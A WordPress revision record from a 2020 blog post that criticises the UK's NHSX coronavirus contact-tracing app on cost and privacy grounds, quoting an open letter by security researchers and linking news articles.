wp:paragraph -->\n<p>I would argue providing tests,, masks, ventilators and resources to over loaded NHS staff will bring a serious improvement with any inconvenient.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The cost of the deployment of the NHSX App is unknown. The Australian Government would have allegedly spend 700.000 AUD just to host the data in Amazon AWS clouds. This is how much less resource the NHS will receive.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.securityweek.com/covid-19-contact-tracing-apps-effective-virus-risk-management-tools-or-privacy-nightmare\">https://www.securityweek.com/covid-19-contact-tracing-apps-effective-virus-risk-management-tools-or-privacy-nightmare</a></p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>A letter, signed by 177 scientists and researchers working in the UK in the fields of information security and privacy, reads: <a href=\"https://martinralbrecht.wordpress.com/2020/05/03/open-letters-v-surveillance/\">https://martinralbrecht.wordpress.com/2020/05/03/open-letters-v-surveillance/</a></p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>“Echoing the letter signed by 300 international leading researchers, we note that it is vital that, when we come out of the current crisis, we have not created a tool that enables data collection on the population, or on targeted sections of society, for surveillance. Thus, solutions which allow reconstructing invasive information about individuals must be fully justified.1 Such invasive information can include the ‘social graph’ of who someone has physically met over a period of time. With access to the social graph, a bad actor (state, private sector, or hacker) could spy on citizens’ real-world activities.”</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Coronavirus contact tracing apps were meant to save us. They won’t. ‘With little evidence to show how effective such apps are and growing privacy concerns, there’s a risk they could do more harm than good ‘<a href=\"https://www.wired.co.uk/article/contact-tracing-apps-coronavirus\">https://www.wired.co.uk/article/contact-tracing-apps-coronavirus</a></p>\n<!-- /wp:paragraph -->','NHSX Contacts Tracing App','','inherit','closed','closed','','898-revision-v1','','','2020-05-06 18:14:33','2020-05-06 17:14:33','',898,'https://datarainbow.eu/2020/05/06/898-revision-v1/',0,'revision','',0),